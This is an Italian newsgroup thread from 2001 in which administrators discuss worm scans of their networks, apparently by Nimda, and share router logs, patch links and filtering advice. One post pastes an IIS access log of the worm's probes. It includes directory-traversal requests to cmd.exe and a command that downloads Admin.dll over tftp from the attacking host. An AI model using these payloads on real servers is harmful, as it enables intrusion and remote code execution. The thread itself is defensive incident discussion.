Newsgroup: it.comp.sicurezza.varie
Titolo: CODE_RED: forse stanno esagerando

Ormai mi stanno saturando la banda , non sarà il caso di
avvertirli.
Tra l'altro io le loro connessioni le pago a 80Lire/MB
I filtri sul router funzionano bene , ma sul POP della
telecom non ci sono e io alla fine da quello devo passare ,
tra l'altro avendo 16 IP statici mi becco il pacchetto 16
volte anziché una.
Che fare ?
Se qualc'uno li conosce glielo dica per favore.
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
193.123.236.66(2656) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.126.61.31(3951) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.126.61.31(3951) -> 2 packets
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.198.172.77(2351) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.206.126.113(2958) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.216.47.66(34654) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.239.18.100(3519) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.110.39(1331) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.122.227(2233) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.122.227(2984) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.122.227(3005) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.122.228(4425) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.171.201(1193) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.171.201(1855) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.171.201(3515) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.171.201(3857) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.171.215(1358) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.171.215(2681) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.171.215(3412) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.173.89(4056) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.18.67(2529) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.18.67(2529) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.196.150(2783) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.196.150(3602) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.199.2(3144) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.199.2(4535) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 195 denied tcp
194.243.210.140(41852) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 195 denied tcp
194.243.210.140(41854) -> 3 packets
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.24.98(2081) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.25.39(1046) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.27.131(2486) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.27.131(2990) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.3.9(1683) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.3.9(3720) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.3.9(3720) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.3.9(3758) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.3.9(3758) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.48.193(3098) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.57.229(1919) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.58.20(2826) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.72.70(1712) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.76.245(4095) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.76.76(3004) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.76.76(3004) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.76.76(4076) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.76.76(4275) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.89.238(1665) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.89.238(1689) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.243.89.238(3581) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.27.30.3(2292) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.27.30.3(2292) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.29.9.32(3755) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
194.29.9.32(3755) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
211.228.193.26(2226) -> 1 packet
1d09h: %SEC-6-IPACCESSLOGP: list 196 denied tcp
62.13.192.197(1862) -> 1 packet

towers. Non ho ancora capito il grado di distruttivitā.
Anch'io ho il file log pieno di queste schifezze (molto di pių che ai
tempi di code red)!
Le solite patch sono sufficienti per essere protetti?
Ho provato a collegarmi con il browser ad uno degli ip incriminati: mi
compare una pagina che pubblicizza l'option pack 4.0, eppoi mi apre un
popup in javascript tentando di farmi aprire il file readme.eml (che,
immagino, contenga il readme.exe di cui sopra).

 volte anziché una.
Fammi giocare un attimo con le tue/nostre sventure:
il traffico che hai postato è composto dai pacchetti SYN dei tentativi di
connessione dei server impestati. Se sono filtrati dal tuo router molto
probabilmente viene emesso un ICMP Destination Unreachable per ogni
pacchetto arrivato e la connessione termina.
Ne segue che ogni tentativo di connessione usa 40+40 Byte.
Quindi raggiungerai le prime 80 lire di spesa al 12500esimo tentativo di
connessione.
Non penso che fallirai per questo :)))
Fabio

immagino, contenga il readme.exe di cui sopra).
Gasp! Non fate assolutamente quello che io ho appena fatto! Pare che
se si possiede una versione di IE 5.01sp1 o IE 5.5sp1, la pagina in
questione sfrutta un bel baco nella gestione dei MIME parts!
Maggiori informazioni su
http://www.cert.org/advisories/CA-2001-26.html
Patch su
http://www.microsoft.com/windows/ie/downloads/critical/q290108/download.asp

 il traffico che hai postato č composto dai pacchetti SYN


 antipatica.
Se il traffico di rete cominciasse a diventare insostenibile (come pare che
gią succeda per alcuni) puoi provare a bloccare le connessioni in ingresso
dirette alla porta 80 *senza* emettere un ICMP Destination Ureachable
(drop).
In questo caso dovresti dimezzare il traffico relativo ai tentati attacchi.
Buona fortuna.
Fabio

:
Dev'essere una nuova variante. All'inizio pensavo si trattasse di lamer
che cercavano di sfruttare CodeRed, poi ho dato un'occhiata al log:
151.99.159.206 - - [19/Sep/2001:00:26:19 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200 96
151.99.159.206 - - [19/Sep/2001:00:26:21 +0200] "GET /scripts/root.exe?/c+tftp%20-i%20151.99.159.206%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 200 96
151.99.159.206 - - [19/Sep/2001:00:26:21 +0200] "GET /scripts/Admin.dll HTTP/1.0" 404 277
151.99.159.206 - - [19/Sep/2001:00:26:22 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274
151.99.159.206 - - [19/Sep/2001:00:26:23 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
151.99.159.206 - - [19/Sep/2001:00:26:24 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
151.99.159.206 - - [19/Sep/2001:00:26:24 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
151.99.159.206 - - [19/Sep/2001:00:26:25 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
151.99.159.206 - - [19/Sep/2001:00:26:26 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
151.99.159.206 - - [19/Sep/2001:00:26:26 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331
151.99.159.206 - - [19/Sep/2001:00:26:27 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
151.99.159.206 - - [19/Sep/2001:00:26:29 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
151.99.159.206 - - [19/Sep/2001:00:26:30 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
151.99.159.206 - - [19/Sep/2001:00:26:31 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
151.99.159.206 - - [19/Sep/2001:00:26:33 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
151.99.159.206 - - [19/Sep/2001:00:26:34 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
151.99.159.206 - - [19/Sep/2001:00:26:35 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
151.99.159.206 - - [19/Sep/2001:00:26:36 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
praticamente cerca di sfruttare una ventina di buchi noti di IIS. Niente
codice ASM abilmente iniettato in un processo in esecuzione, niente
sforzo, questo worm è una lamerata pazzesca che si limita a sfruttare
il lavoro altrui.
Uno di questi giorni devo decidermi a piazzare tutti i vari script
trappola (per ora c'è solo uno /scripts/root.exe che si limita ad
avvertirmi, e ovviamente il default.ida d'obbligo) e divertirmi un po'...

readme.eml (che, immagino, contenga il readme.exe di cui sopra).
qualcuno ha una copia di questo famoso readme.exe e me la spedisce?

di virus informatici, eh...;)
ach! il mio malefiken piano è fallito!

Yeppe.
dimenticavo: mi spedisci anche l'eml che lo esegue? voglio vedere se si 
tratta di quel bug corretto da quasi un anno che mi pare di ricordare

 ricordare
Se intendi lo stesso bug di OE che ricordo io, ebbene si'.
Mi pareva che fosse di marzo, pero'.